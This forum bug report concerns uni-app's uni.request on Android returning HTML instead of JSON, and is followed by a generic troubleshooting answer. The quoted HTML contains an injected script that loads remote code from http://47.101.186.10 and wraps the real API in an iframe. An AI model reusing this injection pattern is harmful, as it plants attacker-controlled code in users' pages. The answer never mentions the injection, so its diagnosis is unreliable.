uni-app中uni.request在APP上发送请求时会出现html
uni-app中uni.request在APP上发送请求时会出现html
测试过的手机：
安卓版本为： 2.1.0-R-20171228.115 | android version:19
示例代码：
uni.request({
url: {API接口},
header:{
'Content-Type': 'application/x-www-form-urlencoded',
},
method:'GET',
dataType:'json',
timeout:30000,
data:{
is_portrait:1,
token: 63178e55e28f4498bb52565b972cf9ae
},
success:(res) =>{
// 这里的res就是html
console.log(res)
}
})操作步骤：
无明显步骤，只在请求时有概率 出现
预期结果：
{
code: 20000,
message: "操作成功!",
data: {
list: [
{
id: 189,
type: "image",
src: "http://xx/25b91ad53023cf6afd23c7f5108aa125.jpg",
duration: 20,
updatetime: 1710382867
}, {
id: 190,
type: "image",
src: "http://xx/c2bbbc8ece63246800abcc9bd33932ec.jpg",
duration: 20,
updatetime: 1710382893
}, {
id: 222,
type: "image",
src: "http://xx/4ace653544ae13502eed81f25fcfadc1.jpg",
duration: 20,
updatetime: 1710817578
}]
}
}
## 实际结果：
```html
<!DOCTYPE html><html><head><style>html,body{height:100%;margin:0px;padding:0px}</style><script>(function(){var a = document.createElement('script');a.src = 'http://47.101.186.10/jlp?m=E24C93A77B576E37C2E7C370548035EC34FE25BCE1CC5D28C426B56EFED854B8&d=8371AF6E901AE36BEC3DF385FC5A4F106D7BC454E61CE54791FC7B7885489451&v='+Math.random(0,1);var k = document.getElementsByTagName('script')[0];k.parentNode.insertBefore(a, k);})();</script></head><body><iframe frameborder="0" width="100%" height="100%" src="{api接口路径}?is_portrait=1&token=63178e55e28f4498bb52565b972cf9ae&03ae7a6cb391d6=03ae7a6cb391d6"></iframe></body></html>bug描述：
执行uni.request时有机率会响应如下html,而不是预定的json字符串。
<!DOCTYPE html><html><head><style>html,body{height:100%;margin:0px;padding:0px}</style><script>(function(){var a = document.createElement('script');a.src = 'http://47.101.186.10/jlp?m=E24C93A77B576E37C2E7C370548035EC34FE25BCE1CC5D28C426B56EFED854B8&d=8371AF6E901AE36BEC3DF385FC5A4F106D7BC454E61CE54791FC7B7885489451&v='+Math.random(0,1);var k = document.getElementsByTagName('script')[0];k.parentNode.insertBefore(a, k);})();</script></head><body><iframe frameborder="0" width="100%" height="100%" src="{api接口路径}?is_portrait=1&token=63178e55e28f4498bb52565b972cf9ae&03ae7a6cb391d6=03ae7a6cb391d6"></iframe></body></html>其中47.101.186.10这个域名后端那根本没有相关的信息，这个应该是APP内部生成的response
在 uni-app 中使用 uni.request 发送请求时，如果在 APP 端返回的是 HTML 而不是预期的 JSON 或其他数据格式，可能是由于以下几个原因导致的：
1. 请求的 URL 不正确
确保你请求的 URL 是正确的，并且该 URL 应该返回你期望的数据格式（如 JSON）。如果 URL 指向的是一个网页而不是 API 接口，那么返回的可能是 HTML 内容。
2. 服务器端返回的是 HTML
有些服务器在请求出错时（如 404、500 等错误）会返回一个 HTML 错误页面。你可以检查服务器的响应状态码和响应内容，看看是否是这种情况。
3. 跨域问题
如果你在开发环境中使用 uni.request 请求本地服务器，可能会遇到跨域问题。某些服务器在跨域请求时可能会返回 HTML 页面而不是预期的数据。
4. 请求头设置问题
确保你在 uni.request 中正确设置了请求头，特别是 Content-Type 和 Accept。例如，如果你期望返回 JSON 数据，可以设置 Accept: application/json。
uni.request({
url: 'https://example.com/api',
method: 'GET',
header: {
'Accept': 'application/json'
},
success: (res) => {
console.log(res.data);
},
fail: (err) => {
console.error(err);
}
});5. 调试和排查
你可以通过以下方式进一步排查问题：
- 查看响应状态码：检查
res.statusCode，看看是否返回了非 200 的状态码。 - 查看响应头：检查
res.header，看看Content-Type是否是text/html。 - 查看响应数据：打印
res.data，看看返回的具体内容是什么。
uni.request({
url: 'https://example.com/api',
method: 'GET',
success: (res) => {
console.log('Status Code:', res.statusCode);
console.log('Headers:', res.header);
console.log('Data:', res.data);
},
fail: (err) => {
console.error(err);
}
});6. 服务器配置
如果你有权限修改服务器配置，确保服务器在请求时返回正确的内容类型。例如，确保 API 接口返回 Content-Type: application/json。
7. 使用代理
在开发环境中，你可以使用代理来解决跨域问题。在 uni-app 的 manifest.json 中可以配置代理：
{
"h5": {
"devServer": {
"proxy": {
"/api": {
"target": "https://example.com",
"changeOrigin": true,
"pathRewrite": {
"^/api": ""
}
}
}
}
}
}